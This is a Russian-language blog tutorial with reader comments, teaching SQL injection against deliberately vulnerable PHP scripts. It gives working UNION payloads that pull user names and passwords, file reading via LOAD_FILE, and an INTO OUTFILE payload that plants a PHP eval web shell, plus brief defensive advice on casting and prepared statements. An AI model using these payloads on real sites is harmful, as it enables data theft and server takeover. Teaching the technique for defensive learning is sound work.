Пользователь
0,0
рейтинг
20 июля 2012 в 17:23

Разработка → SQL injection для начинающих. Часть 1


Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.


Предисловие


Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов — для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры — как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?

Говоря простым языком — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи — Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни :) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка

Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection



Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка — это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!




Числовой входящий параметр

Для практики нам понадобится скрипт index1.php. Как я уже говорил выше, подставляем кавычки в ID новости.

sqlinj/index1.php?id=1'


Т.к. у нас запрос не имеет фильтрации:

$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";


Скрипт поймет это как
SELECT * FROM news WHERE id=1'


И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало — могут быть следующие причины:

1.SQL инъекции здесь нет — Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело — Ура! Мы нашли первый вид SQL инъекции — Числовой входящий параметр.



Строковой входящий параметр


Запросы будем посылать на index2.php. В данном файле, запрос имеет вид:
$user = $_GET['user'];
$query = "SELECT * FROM news WHERE user='$user'";


Тут мы делаем выборку новости по имени пользователя, и опять же — не фильтруем.
Опять посылаем запрос с кавычкой:
sqlinj/index2.php?user=AlexanderPHP'


Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит — приступим к практике.




Приступаем к действиям


Немного теории


Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария — будет отброшено То есть запрос:
SELECT * FROM news WHERE user='AlexanderPHP' -- habrahabra

Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

sqlinj/index2.php?user=AlexanderPHP'%20--%20habrahabr



Выучите параметр UNION. В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.




Извлекаем из этого пользу


Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php.

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1. Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей


Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY

Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 — ошибка, Значит кол-во полей равно 5




Определение выводимых столбцов

Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

image
Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.


Вывод данных



Допустим мы знаем, что еще существует таблица users в которой существуют поля id, name и pass.
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить
image

Для этого, мы подставим название полей, за место цифр 1 и 3

sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то — что требовалось!
image



Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1' UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20



Чтение/Запись файлов


Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.

Запись файлов

На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1' UNION SELECT 1,2,3,4,5 INTO OUTFILE '1.php' --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1' UNION SELECT 1,'<?php eval($_GET[1]) ?>',3,4,5 INTO OUTFILE '1.php' --%20


Чтение файлов

Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE, за место того поля, которое мы выбираем:

sqlinj/index2.php?user=-1' UNION SELECT 1,LOAD_FILE('1.php'),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.



Способы защиты



Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET['id'];

Как подсказал пользователь malroc. Защищаться использованием PDO или prepared statements.



Вместо завершения


На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.
Александр @AlexanderPHP
карма
37,5
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (114)

  • +7
    Проверка почерка — это не фильтрация данных. Фильтрация данных относится к подстановкам в запрос (placeholders), а не к целому запросу. Не будете же вы брать запрос целиком из ввода пользователя.

    Функции mysql_* уже давно deprecated в PHP.

    Ошибка «Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given» — не индикация того, что инъекция работает (хотя косвенно инъекция является причиной). Эта ошибка происходит из-за того, что mysql_query завершился неудачно и вернул false, а кое-кто поленился проверить в коде этот результат.

    К тому же статья содержит большое количество грамматических ошибок. В общем, мне не понравилось.
    • 0
      Эта ошибка происходит из-за того, что mysql_query завершился неудачно и вернул false, а кое-кто поленился проверить в коде этот результат.

      Согласен, т.к. тестируется на скриптах написанных «На коленке» и на локалхосте, поэтому при любой ошибке, даже синтаксиса, выводится данное уведомление. На «Боевых» скриптах, будет нужный вывод ошибок.
      • +1
        При чем тут локалхост и боевые скрипты? У вас написано как-то так:

        $r = mysql_query($q);
        while($row = mysql_fetch_row($r)) {
          //...
        }
        

        А должно быть так:

        $r = mysql_query($q);
        if ($r) {
          while($row = mysql_fetch_row($r)) {
            //...
          }
        } else {
          //обработка ошибки
        }
        

        Как обрабатывать ошибку, зависит от окружения, но проверка должна быть всегда.
  • +13
    $user = mysql_real_escape_string($_GET['user']);
    

    Вот за такие советы нужно по рукам бить, вы уж простите. PDO на это есть и prepared statements, привыкайте, что ли к цивилизованным методам.
    • –5
      Вы меня тоже извиняйте, но я просто дал совет опять же новичкам. В своих проектах я всегда использую Active records, и практически не задумываюсь.
      • +6
        Так это прекрасно, что используете, но новичков-то зачем плохому учить? Может, подредактируете статью?
        • +4
          Да, хорошо.
          • +2
            Объясните, в чем пагубность mysql_real_escape_string() и вообще mysql_*?
            Я лично такое вот делаю

            $mdb->mes( $g_id ) или $mdb->query( «SELECT * FROM… WHERE id = '».((int)$g_id)."'" );

            Оно по сути тот же mysql_* в мин обертке. Никогда не задумывался, что можно лучше. А я так понимаю можно? Но чем оно лучше?
            • 0
              **
              $mdb->mes( $g_id )

              $mdb->query( "SELECT * FROM xxx WHERE id = '".((int)$g_id).";'" );
            • –1
              prepared statements как минимум быстрее работают при прочих равных (эффективней задействуется механизм кеширования) и защищены от разного рода незапланированных внедрений в запрос. В итоге меньше кода (не надо никаких монстров экранирования и конкатенаций), всё чище и логичней, работа идёт быстрей и не будет очень неприятных сюрпризов в будущем (где там у какого поля тип поменялся — перепиши все запросы, где спешили и забыли заэкранировать — слили базу паролей).
              • 0
                Быстрей нам надо, очень надо.
                Попробуем то есть.
                Хотя последовательных запросов не бывает вообще.
                Если надо что-то оно в LEFT JOIN обычно, и редко в INNER JOIN
                • 0
                  Так пробуем или что?
            • 0
              пагубность mysql_real_escape_string() в том, что люди не понимают ее смысла.
              большая часть пользователей похапе искренне полагает, что эта функция служит не для экранирования спецсимволов в строках, а для защиты от инъекций.

              пагубность mysql_ заключается в двух вещах.
              Первая чисто теоретическая — РНР-тим забил на эту либу и не хочет ее поддерживать. проблем с этим никаких нет, но теоретически ее могут в какой-то момент объявить deprecated.
              Вторая заключается в том, что в коде не должно быть вызовов голого API. А должны быть — как совершенно правильно сделано у вас — вызовы функции- надстройки.

              Единственно что, вместо ручной обработки передаваемых данных, лучше использовать автоматическую, с помощью плейсхолдеров:

              $mdb->query( «SELECT * FROM table WHERE id =? AND name=?", $id, $name);

              Это одновременно и упростит, и обезопасит код

              а про быстроту там ниже ерунду написали
    • 0
      Чем сложнее инструменты используются для объяснения, тем больше объяснять нужно. Хотя, с другой стороны, тема требует наличия специальных навыков.
    • –1
      Цивилизованные методы хороши на больших проектах с продуманной архитектурой, где запрос в БД скрыт за толстым слоем ООП и генерируется в автоматическом режиме…
      Для небольших скриптов достаточно простой фильтрации входящих данных по типу (в большинстве случаев надо просто привести к int, ибо в таких скриптах 80% запросов обычно идёт тупо по primary key) или же mysql_real_escape_string…
      • +1
        Архаичные костыли вроде mysql_real_escape_string плохи вне зависимости от контекста. Тут даже выигрыша в объеме кода нет по сравнению с PDO, не понимаю, какой может быть смысл их использовать, кроме того, что кому-то лень выучить что-то другое.
        • 0
          Выигрыш по потребляемым ресурсам (скорости, памяти), т. к. mysql_* является по сути просто биндингами к libmysql, а mysqli/pdo создают ненужный во многих случаях объектный слой?
          • 0
            Вот не приведу сейчас источник, но мне mysqli_* сватали именно ради большей производительности оного по сравнению с mysql_*. Что творится с производительностью в PDO — увы не в курсе, но PDO рекомендуют уже как серебряную пулю — мол под все базы всё стандартизировано (насколько это возможно) и соответственно «простая миграция, универсальные решения». Если разобраться, то я, например, так или иначе всё равно пользуюсь объектными обёртками. Думаю встроенная в систему «обёртка» должна быть лучше вылизана, чем отдельный код и в реализации на C — более продуктивна.
        • 0
          а в чем проблема с mysql_real_escape_string? В нём есть какие-то известные уязвимости?
          • 0
            единственная проблема mysql_real_escape_string() в том, что люди не понимают ее смысла.
            большая часть пользователей похапе искренне полагает, что эта функция служит не для экранирования спецсимволов в строках, а для защиты от инъекций.

            ну и еще есть проблемы при неправильном использовании её с некоторыми экзотическими кодировками.
            • 0
              а можно про кодировке подробнее? в мане сказано, что ресурс подключения передаётся туда как раз для того, чтобы заэкранировать исходя из конкретного подключения
              • 0
                Ну так ресурсу же это тоже надо сказать :)
                А это делается только функцией mysq_set_charset(), про которую большинство разработчиков не подозревает. Так что абсолютное большинство пользуется этой функцией совершенно без малейшей пользы :)

                И мы бы давно сидели по уши в инъекциях, если бы эта уязвимость не работала только для ооочень экзотических кодировок.
                • 0
                  можно пример с инъекцией для экзотической кодировки?
                  • 0
                    google://alshanetsky addslashes — должно найтись
                • 0
                  > А это делается только функцией mysq_set_charset(), про которую большинство разработчиков не подозревает

                  Почему-то мне кажется, что оно и без этой ф-ции работает верно.
                  Т.к. у меня в коде есть запрос SET NAMES, но нет mysql_set_charset.

                  При этом, строки в KOI8-R и UTF-8 экранируются правильно (по-разному).
                  Если использовать mysql_escape_string (без передачи ресурса параметром), то она «сбоит» — портит строки при экранировании, если кодировка UTF-8.

                  > alshanetsky addslashes
                  Нашёл это:

                  In some cases the escape process can be
                  abused to execute exploits!
                  Escaping Shortfall Cont.
                  // invalid multi-byte sequence with ASCII equiv. of ¿’
                  $str = 0xBF. 0x27;
                  // after addslashes() or even mysql_real_escape_string()
                  // the value becomes [ 0xBF 0x5C ] 0x27
                  // a valid multi-byte sequence of 縗 followed by ‘.
                  SQL Injection is once again possible!!!
                  Native escaping function is only vulnerable if charset
                  is changed manually via “SET CHARACTER SET” query.

                  Как я понял проблема заключается в том, что ф-ции экранирования не совсем корректно работают с мультибайтовыми строками. Т.е. например для того же UTF-8 может проявиться уязвимость.
                  • 0
                    «При этом, строки в KOI8-R и UTF-8 экранируются по-разному» — да ладно! можно пример?

                    «Если использовать mysql_escape_string (без передачи ресурса параметром), то она «сбоит» — портит строки при экранировании, если кодировка UTF-8.» — Это тоже полная ерунда.
                    Вы бы хоть попробовали сначала, прежде чем писать.
                    Умозаключения — это всегда хорошо. Но их обязательно проверять надо :)

                    При этом пример по ссылке в гугле показывает, что функция как раз сбоит С ПЕРЕДАЧЕЙ параметра. Вы нашли эту статью?
                    ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html
                    Попробуйте выполнить из нее примеры. Это совсем не так сложно. Зато сразу снимет кучу вопросов и неверных догадок :)
    • +3
      Приведите хоть один адекватный аргумент против такой строки?
      • НЛО прилетело и опубликовало эту надпись здесь
        • +1
          Потому что подобный стиль может привести к тому, что рано или поздно забудешь заискэйпить. Я поэтому стараюсь использовать шаблонизаторы — как-то раз забыл написать htmlspecialchars и было очень больно.
          • –1
            Это не агрумент, так как эта функция происходит из mysql основ, именно он эскейпит в данном случае данные в отличии от mysql_escape так что аргумент вообще не в тему. Эабыл — не аргумент! Я не забываю делать правильные вещи и mysql_real_escape_string одна из вещей которые я не стоит забывать!
            • +1
              Вы не забываете, а уверены что ваш напарник не забудет? Или стажер?
              • –1
                А вы уверены что не забудите биндить в PDO? Так можно про все сказать.
                • +1
                  Если не забиндить — работать не будет. А если не заэскейпить — внешне не заметно, что что-то не так. До одного прекрасного момента (в идеале — до аудита кода, но в жизни обычно бывает очень не идеально).
          • 0
            На самом деле и забывать-то не обязательно.
            Достаточно забыть (или не иметь возможности) выполнить вторую часть заклинания — поставить по краям переменной кавычки — без которой карета, увы, тут же превращается в тыкву…

            Главная проблема этой строчки — непонимание её смысла.
        • 0
          причина в том, что эта строка ни с какой стороны не является защитой от инъекций, при этом большая часть пользователей понимает её именно так.
      • 0
        > Приведите хоть один адекватный аргумент против такой строки?

        Вырежут скоро mysql_* функции из PHP
      • 0
        проблема в контексте.
        сама по себе строка нормальная, в ней ничего ужасного нет.

        но если она преподносится в контексте защиты от инъекций, то это, конечно, ужас.

        плюс, если если функция посреди кода, а не внутри библиотечного метода — это тоже караул.

        • 0
          Если что, эта функция вызывает встроенные в драйвер mysql защиты от инъекций, а не пхп-шные методы, поэтому никакого ужаса нет, а очень даже большая польза.
          • +1
            Если что, эта функция не имеет никакого отношения к защите от инъекций :)
            Если внимательно присмотреться к ее названию, то слова «защита» или «инъекция» почему-то в нем не встречаются.

            Поэтому даже если не «забывать» её писать, что обсуждалось в ветке выше, инъекции после её использования могут быть — только в путь.
            • 0
              $name = mysql_real_escape_string($name);
              'SELECT * FROM `users` WHERE `name` = "{$name}";';

              Можете мне привести пример инъекции на этот код, если функция не имеет никакой защиты?
              • 0
                Могу, но речь не о них. Будем считать, что нет.
                Речь не о каком-то частном примере, а о понимании.
                Рекомендую, все-таки, почитать что-нибудь, чтобы не писать ерунды про «встроенные в драйвер mysql защиты от инъекций» :)

                • 0
                  Часть защиты от инъекции — экранирование данных. R чему здесь mysql_real_escape_string подумайте сами, до PDO мои скрипты прекрасно жили без инъекций, это так, к слову.
                  • 0
                    О, молодец. Уже начинаешь потихоньку соображать, что сама по себе эта функция ничего ни от кого не защищает — Уже не «встроенные защиты», а «часть». :)

                    Теперь осталось совсем чуть чуть: подумать, для чего на самом деле нужна эта функция, и почему она должна применяться ВНЕ зависимости от каких-либо инъекций.
                    И какие бывают случаи, когда она применяться не должна.

                    То, что твои скрипты «прекрасно жили» говорит либо о том, что ты применял не одну только эту функцию для защиты от инъекций, либо о том, они живут не так прекрасно, как ты воображаешь :)

                    А ПДО, кстати, тоже совсем недостаточна для защиты от инъекций. В более-менее сложных запросах.
                    • 0
                      Может поделитесь опытом что нужно еще для защиты от sql инъекций?
                      • 0
                        habrahabr.ru/post/148151/#comment_5018969

                        Но опять это «ещё» :)
                        Я настаиваю на том, что функция искейпинга не должна применяться в контексте защиты от инъекций! Если это происходит, то инъекция будет гарантирована, рано или поздно.
  • +6
    Статья понравилась. Пусть есть ошибки, пусть примеры не очень корректны. Я так понял что цель — объяснить что к чему В ОБЩЕМ новичкам. Вот мне, человеку озабоченному вопросами безопасности своих сайтов, эта статья очень полезна. Я, конечно, наслышан что такое SQL-иньекции, как с ними можно бороться, но конкретных примеров инъекций не разбирал. А тут все показали на пальцах. Соответственно, мне как НЕ специалисту в вопросах безопастности для общего развития стало это очень полезно. Ну и для практического применения тоже. Надеюсь, что цикл статей продолжится и я научусь еще более эффективно защищать свои программы.
  • 0
    И еще хотелось бы чтобы автор в следующих публикациях уделил время разбору методов борьбы с такими вот штуками. Он конечно говорит что нужно использовать фильтрацию и т.д. и т.п. и про все это в нете можно почитать, про фильтрацию данных и про инъекции. Но мне бы хотелось услышать эти вещи именно от этого автора. Чтобы подробнее были разобраны методы фильтрации.
    • 0
      Не нужно никакой фильтрации.
      Нужно всегда соблюдать всего два правила:
      — данные пподставляем в запрос только через плейсхолдеры.
      — идентификаторы и ключевые слова подставляем только из белого списка, прописанного в нашем коде.
      Всё. Больше ничего не нужно, никакой фильтрации.

      Можно лишь добавить, что плейсхолдеры могут использоваться либо родные — от БД, либо самодельные.
      В последнем случае наш парсер должен знать тип подставляемых данных, и корректно их отформатировать.
  • –11
    Статья вообще неочем. Это обжовывалось 300 раз.

    Вы бы лучше объяснили незнающим, почему в PHP 10 + «15 apples» даст в результате 25, а 10 + «apples 15» — 10 и т.п…
    Поверьте, Вам бы это стоило немного поковырять документацию + исходники, а статья была бы очень даже интересной, на мой взгляд.
    • +4
      Повторюсь Статья «рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться». Если Вы это знаете — то хорошо.
    • +17
      Статья в целом неплохая. А вот комментарий вообще «неочем».
  • +3
    Mirrage, а вы новичок в этом деле? Полагаю что нет. Прочтите внимательнее, в заголовке написано "… для начинающих". Поэтому, мне кажется, чтобы объективно рассуждать о чем статья или не о чем, надо быть для начала новичком!
    Я вот новичок, и мне статья очень понравилась!
    • –10
      Вы хотите сказать, что разрабатывали что-то не зная про SQL инъекции?
      • +4
        Вы понимаете чем отличается новичок от не новичка?
        • +2
          А он родился уже знающим, так на этом уровне и остался видимо :)
      • +1
        Расскажу по секрету: существует большое количество разработчиков, которые не имеют понятия об sql инъекциях, о принципах проектирования, юзабилити, тестировании, проверки на неправильные параметры и как вообще правильно писать код.
  • +4
    пример со 100 рублями — божественен!
  • +1
    Знаю. И знаю как с ними бороться. Но конкретных примеров не разбирал. А тут мне на пальцах показали как это выглядит изнутри.
    Например, я знаю какие символы недопустими в передаваемых параметрах, но как применить эти недопустимые символы в «плохих» целях я не знал. Разве что совсем простые примеры.
    Тут мне показали как это можно использовать.
    И так понял что в дальнейшем автор планирует показать более сложные примеры.

    P.S. например для такого использования union я не додумался. А автор мне показал. Теперь буду знать врага в лицо.
  • +14
    Уважаемый AlexanderPHP, а вам не стыдно?

    Мне одному кажется что это сжатый и немного измененый пересказ уже существующей статьи датированной 2010 годом? Причем очень много чего в этих статьях схожего.
    rdot.org/forum/showthread.php?t=124

    Да и по теме. Ни Ваша статья, ни приведенная статья по ссылке не научит правильно обнаруживать и раскручивать SQL иньекции. Хотя, признаюсь, много чего почерпнул когда то из последней статьи.

    К примеру пытаться обнаруживать иньекции только по наличию ошибок — бред. В ~80% случаях вывод ошибок отключен, и приходится ориентироваться на поведение самого приложения.
    • +3
      А, все понятно с автором.
    • –6
      InSys, спасибо, будет что еще почитать. Всё писалось из головы.
      • +3
        Почитайте лучше www.phptherightway.com/
      • +9
        Из головы ли? Пробежался глазами. Даже примеры вообщем то совпадают.

        Не верю
        (с) Станиславский.
        • –9
          Синтаксис — один. Это тоже самое, что Hello world, в разных учебниках.
          • 0
            Вам совсем необязательно что-то кому-то доказывать. Просто у людей сложилось мнение о Вас лично.
            • –5
              Придраться можно к чему либо. Правильно Вы сказали — что нет смысла оправдываться. Самому себе, мне нет смысла врать.
              • –2
                В Яндексе все такие клевые?
                • –2
                  Причем тут это?
                  • –5
                    Не принимайте близко к сердцу, но если у Вас не хватает ума ответить «да» или «нет», на вопрос, подразумевающий данный ответ, то с Вами не о чем разговаривать.
                    • +4
                      >если у Вас не хватает ума ответить «да» или «нет», на вопрос, подразумевающий данный ответ, то с Вами не о чем разговаривать.
                      «Вы уже перестали избивать свою мать?»
                      • +1
                        Правильный ответ «нет», не перестал, т.к. не начинал это делать)
                        • 0
                          С точки зрения формальной логики — да, правильный. С точки зрения бытовой — не очень)
          • +12
            Оригинал:
            Так как мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором к первому.

            Ваша:
            Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.


            Пример со сто рублями передран и немного переделан. Используется таже таблица news… Продолжать?

            Откровенно говоря, оригинал данной статьи я когда то очень долго держал у себя как личную «библию», и очень часто обращался к ней за помощью, именно по ней я научился некоторым фишкам. И тут приходите вы, и пытаетесь выдать чужое за свое…
            • –14
              и пытаетесь выдать чужое за свое…

              Уважаемый, я ничего чужого, за своё не пытаюсь выдать. Более ничего Вам доказывать не буду. Не вижу смысла мне врать.
              • +4
                Ну конечно, уже что-то доказывать смысла нет. Странный вы человек. Возьмите, да добавьте в статью ссылки на используемые материалы. Не стройте из себя гения который сам всему научился и все знает, вот и вся проблема.
                • –1
                  Ага, у него ЧСВ over 9000.
        • 0
          c чем совпадаю?
  • +1
    Мне кажется вам стоило больше уделить защите от SQL инъекций. То что вы описали не всегда применимо. Да и фильтрация очень редко закрывает уязвимость
  • +2
    Хочу дополнить, что способ защиты указан не верный, хотя конечно он верный, если у вас в $_GET['id'] всегда числовые значение. Но вот что делать, если там могут быть и строки? Правильно, в ход идет escape. Поэтому фильтрация должна быть правильная, т.е. уместная на каждом участке кода. А то бывает встречаются такие ситуации:

    $_GET['id'] — всегда число, а фильтрация escape для запроса вида
    SELECT * FROM news WHERE id=1
    

    Таким образом нам даже и кавычка не нужна для sql-injecton. Достаточно просто положить -1 UNION SELECT 1 в $_GET['id']
  • +2
    Да и по поводу определение колонок методом group by написано не точно.

    >>Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 — ошибка, Значит кол-во полей равно 5

    Может быть 4 поля, ибо мы не знаем как оно реагирует на group by 6
  • +1
    И еще… Стоило указать какая СУБД используется, ибо не во всех СУБД все примеры будут рабочие. к примеру с LOADFILE
  • 0
    Соискатель как-то присылал ссылку на свою работу в качестве портфолио. С совершенно чудной SQL-injection в форме логина. По крайней мере пользователь ' or 1 # считался администратором и пароль при этом не спрашивался. А вообще это даже грустно.
  • +1
    Встречал забавный случай, на сайте одного из факультетов моего ВУЗа, сейчас именно это уже закрыто: был JS скрипт, который делал все запросы очень весело, т.е. страница новостей передавала в него, что хочет новости, скрипт собирал SQL запрос, и посылал на сервер в виде server/sql.php?q=SELECT * FROM news… Инъекции? Зачем инъекции?
    • 0
      Чтобы «Взломщик» умер от смеха, и не стал ломать сайт.
    • +1
      Это называется server side javascript :)
    • 0
      Я тоже подобное использовал. А там тоже в sql.php проводился лексический анализ запроса и проверка его на опасность?
      • 0
        Нет, там было что-то такое:
        mysql_query($_GET($q))
        

        Поэтому случай так сильно и запомнился.
        • 0
          Извините, давно на php ничего не писал:
          $_GET['q']
          
        • 0
          Тогда, да, было бы смешно, если бы не было так грустно.
  • +6
    ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы.

    Пробел должен стоять только после —
    Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
    sqlinj/index2.php?user=-1' UNION SELECT 1,'<?php eval($_GET[1]) ?>',3,4,5 INTO OUTFILE '1.php' --%20

    Такой INTO OUTFILE ничего не даст, так как файл запишется в datadir, не доступный из веба.
    • –1
      Палишься :D

      более того если запрос как в статье

      SELECT * FROM news WHERE id=1

      то коммент вообще не нужен
  • –1
    Странно, что никто ещё не вставил картинку про Робина-брось-таблицу :)
    • 0
      В начале статьи же!
  • –1
    Очень интересно, а зачем SQL-базе команды чтения и записи файлов? Это как раз уязвимое звено. А скрипт, по необходимости, может сам с файлами пообщаться
    • 0
      Уязвимое место — люди, пишущие сей код. А какова функциональность уже другой вопрос. В mssql вообще можно из под sa выполнять команды на машине, и что? :)
      • 0
        Уязвимое место — люди, пишущие сей код

        Грамотно и емко сказанно. Отчаянно плюсую!
        • НЛО прилетело и опубликовало эту надпись здесь
      • 0
        Ну знаете что, давайте выбросим SELinux, AppArmor, песочницу хрома, из-за которой он считается самым безопасным браузером (несмотря на уязвимости)
  • 0
    Лучше уберите про способы защиты, а то как-то…

    Ни слова про привилегии на таблицы/базы? Если у пользовательского скрипта задача только читать, и только из двух таблиц, то ему достаточно соединятся с базой под максимально ограниченными привилениями.

    Да и про фильтрацию как-то невнятно… фильтровать желательно не только входящие, но и исходящие данные, причем не только по типу, но и по размеру с диапазоном. Забирать сырое значение из _GET небезопасно по умолчанию, это чревато не только иньекциями. Отдавать шаблонизатору результат неизвестно какого формата тоже опрометчиво.
    • 0
      фильтровать желательно не только входящие, но и исходящие данные, причем не только по типу, но и по размеру с диапазоном.

      можете пояснить более подробно?

      Отдавать шаблонизатору результат неизвестно какого формата тоже опрометчиво.

      На то он и шаблонизатор, чтобы всё что нужно заэкранировать. Шаблонизатор обязан получать сырые данные, если мы хотим сделать разделение логики представления данных и логики получения данных.
  • +1
    Автор, докажи, что не украл статью с ачата или рдота — напиши продолжение.
    • +1
      И я того-же мнения
      • 0
        Ачат
        • 0
          Блин, хотел ссылку вставить
    • НЛО прилетело и опубликовало эту надпись здесь
  • 0
    например
    • 0
      с src тут дружбу не водят=(
      тогда sql-injection.jpg
      • 0
        тьфу, плохая карма даёт о себе знать.
  • НЛО прилетело и опубликовало эту надпись здесь
    • +3
      PDO и ORM не панацея. И с использованием pdo можно наделать подобных дыр, если нет понимания как работают sql-инъекции.
  • 0
    Привет! Где вторая часть?

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.